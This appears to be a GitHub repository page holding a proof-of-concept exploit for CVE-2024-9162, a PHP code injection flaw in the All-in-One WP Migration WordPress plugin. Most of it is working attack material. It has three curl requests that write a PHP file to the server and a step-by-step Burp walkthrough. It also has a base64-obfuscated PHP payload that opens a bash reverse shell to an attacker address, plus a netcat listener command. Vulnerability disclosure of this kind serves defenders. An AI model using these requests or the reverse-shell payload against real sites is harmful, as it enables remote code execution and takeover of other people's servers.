Skip to content

All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection

Notifications You must be signed in to change notification settings

d0n601/CVE-2024-9162

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 

Repository files navigation

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection

The All-in-One WP Migration plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site's server, adding an arbitrary PHP code to it, which may make remote code execution possible.

TL;DR Exploits

Details

The ai1wm_secret_key is a 12 character alphanumeric string created when the plugin is initialized. The key is never rotated, does not expire, and is stored plain text in the wp_options table.

mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

Basic Proof of Concept:

This will create a php file containing a call to phpinfo();, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter.

VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

Screenshot from 2024-08-13 15-36-42

Manually To Reproduce:

It should be noted that the php file created via these steps will first appear in wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php before being deleted by the script and moved to wp-content/ai1wm-backups/reverse_shell.php.

  • Log in, Click all in one WP migration export to access the "Export Site" page.

    • Screenshot from 2024-08-12 15-40-48
  • In the Find * Replace with <another-text> in the database.

  • Input * into the Find box.

  • Input your crafted php payload into into the Replae With box (phpinfo();, web shell, etc).

    • Reverse Shell Example: <?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>. This will decode to exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");.
  • Screenshot from 2024-08-12 15-38-01

  • Setup Burp or similar tool and begin to proxy the traffic, then click the green "Export To -> File" option.

    • Screenshot from 2024-08-12 15-42-30
    • Screenshot from 2024-08-12 15-39-38
  • Forward the first request: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1, without manipulation.

  • Forward: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.

  • Intercepting the request to POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2

    • Modify the archive parameter to whatever name you like, and the .php extension, and then forward the request.
    •   POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
        Host: wordpress.hacker
        Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 883
        Origin: https://wordpress.hacker
        Dnt: 1
        Sec-Gpc: 1
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
              action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
      
    • Screenshot from 2024-08-12 15-28-15
    • Turn off interception and let all other requests flow through until the job is completed and a download button is presented on the screen.
      • Screenshot from 2024-08-12 15-30-06
    • Notice that the link to the downoad is a link to a php file containing the payload https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php.
    • Fire up a netcat listener on an attacking machine to catch the reverse shell nc -lnvp 4444.
    • Click the download button and catch the reverse shell.
      • Screenshot from 2024-08-12 15-34-27

About

All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published